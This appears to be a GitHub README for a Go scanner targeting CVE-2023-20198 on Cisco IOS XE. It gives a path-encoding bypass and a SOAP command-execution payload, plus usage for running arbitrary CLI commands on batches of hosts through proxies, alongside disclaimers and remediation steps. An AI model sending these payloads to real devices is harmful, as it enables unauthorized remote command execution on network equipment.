gustavorobertux/cisco-cve-2023-20198-checkerGo-based vulnerability scanner for detecting CVE-2023-20198 in Cisco IOS XE devices. Tests SOAP/XML interfaces (WSMA) for remote code execution with batch scanning and HTML report generation.
A professional vulnerability scanner for detecting CVE-2023-20198 in Cisco IOS XE devices. Tests for vulnerable SOAP/XML interfaces (WSMA). Designed for authorized security assessments and network auditing.
FOR AUTHORIZED SECURITY TESTING ONLY
This tool is intended exclusively for:
Unauthorized access to computer systems is ILLEGAL. Always ensure you have proper authorization before testing any systems.
go install (Recommended)go install github.com/gustavorobertux/cisco-cve-2023-20198-checker@latest
The binary will be installed to your $GOPATH/bin directory (usually ~/go/bin).
# Clone repository
git clone https://github.com/gustavorobertux/cisco-cve-2023-20198-checker.git
cd cisco-cve-2023-20198-checker
# Build
go build -o cisco-cve-2023-20198-checker
# Install (optional)
sudo mv cisco-cve-2023-20198-checker /usr/local/bin/
# Check single target
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin123
# Check multiple targets
cisco-cve-2023-20198-checker -targets-file targets.txt -password admin
# Generate HTML report
cisco-cve-2023-20198-checker -target 10.0.0.1 -password secret -html
Perfect for corporate environments! Supports:
# HTTP Proxy
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
-proxy http://proxy.company.com:8080
# SOCKS5 (SSH tunnel)
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin \
-proxy socks5://127.0.0.1:1080
# Environment variable
export HTTPS_PROXY=http://proxy.company.com:8080
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin
See PROXY_GUIDE.md for detailed proxy configuration.
| Flag | Type | Default | Description |
|---|---|---|---|
-target | string | - | Single target IP/hostname |
-targets-file | string | - | File with targets (one per line) |
-port | int | 443 | HTTPS/SOAP port |
-username | string | admin | SOAP username |
-password | string | - | Required. SOAP password |
-command | string | uname -a | Command to execute |
-html | bool | false | Generate HTML report |
-timeout | int | 10 | Request timeout (seconds) |
-skip-verify | bool | true | Skip SSL verification |
-proxy | string | - | Proxy URL (http://, https://, socks5://) |
# Basic vulnerability check
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin123
# Custom port
cisco-cve-2023-20198-checker -target 10.0.0.1 -port 8443 -password secret
# Execute specific command
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
-command "show version"
# Generate report
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin -html
# Create targets file
cat > targets.txt << EOF
192.168.1.100
10.0.0.1
172.16.0.50
EOF
# Test all targets
cisco-cve-2023-20198-checker -targets-file targets.txt -password admin123
# Batch with HTML report
cisco-cve-2023-20198-checker -targets-file devices.txt -password admin -html
# Network enumeration
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
-command "show ip interface brief"
# Version detection
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
-command "show version"
# Through HTTP proxy
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
-proxy http://proxy.company.com:8080
# Through SOCKS5 proxy (SSH tunnel)
cisco-cve-2023-20198-checker -target 192.168.1.100 -password admin \
-proxy socks5://127.0.0.1:1080
# Authenticated proxy
cisco-cve-2023-20198-checker -target 10.0.0.1 -password admin \
-proxy http://user:[email protected]:8080
CVE ID: CVE-2023-20198
CVSS Score: 10.0 (Critical)
Type: Remote Code Execution (RCE)
Affected: Cisco IOS XE Web UI (WSMA)
/%2577ebui_wsma_https (path encoding bypass)urn:cisco:wsma-exec<SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP:Header>
<wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext">
<wsse:UsernameToken>
<wsse:Username>admin</wsse:Username>
<wsse:Password>password</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</SOAP:Header>
<SOAP:Body>
<request xmlns="urn:cisco:wsma-exec">
<execCLI>
<cmd>COMMAND_HERE</cmd>
</execCLI>
</request>
</SOAP:Body>
</SOAP:Envelope>
If your devices are vulnerable:
1. Disable WSMA (if not required)
no ip http server
no ip http secure-server
2. Restrict access with ACLs
ip http access-class MGMT-ONLY
ip access-list standard MGMT-ONLY
permit 10.0.0.0 0.0.0.255
deny any log
3. Update firmware - Apply latest Cisco security patches
4. Enable strong authentication
aaa new-model
aaa authentication login default group tacacs+ local
5. Monitor logs - Watch for suspicious SOAP/HTTP activity
# Standard build
go build -o cisco-cve-2023-20198-checker
# Optimized (smaller binary)
go build -ldflags="-s -w" -o cisco-cve-2023-20198-checker
# Cross-compile for different platforms
GOOS=linux GOARCH=amd64 go build -o cisco-cve-2023-20198-checker-linux
GOOS=windows GOARCH=amd64 go build -o cisco-cve-2023-20198-checker.exe
GOOS=darwin GOARCH=arm64 go build -o cisco-cve-2023-20198-checker-mac-m1
╔═══════════════════════════════════════════════════════════╗
║ Cisco SOAP/XML Security Checker ║
║ Educational & Authorized Security Assessment Only ║
╚═══════════════════════════════════════════════════════════╝
[*] Command: show version
[*] Port: 443
[*] Timeout: 10 seconds
[1/1] Testing target: 192.168.1.100:443
[*] Sending SOAP request...
[+] Response received (Status: 200)
[+] Success!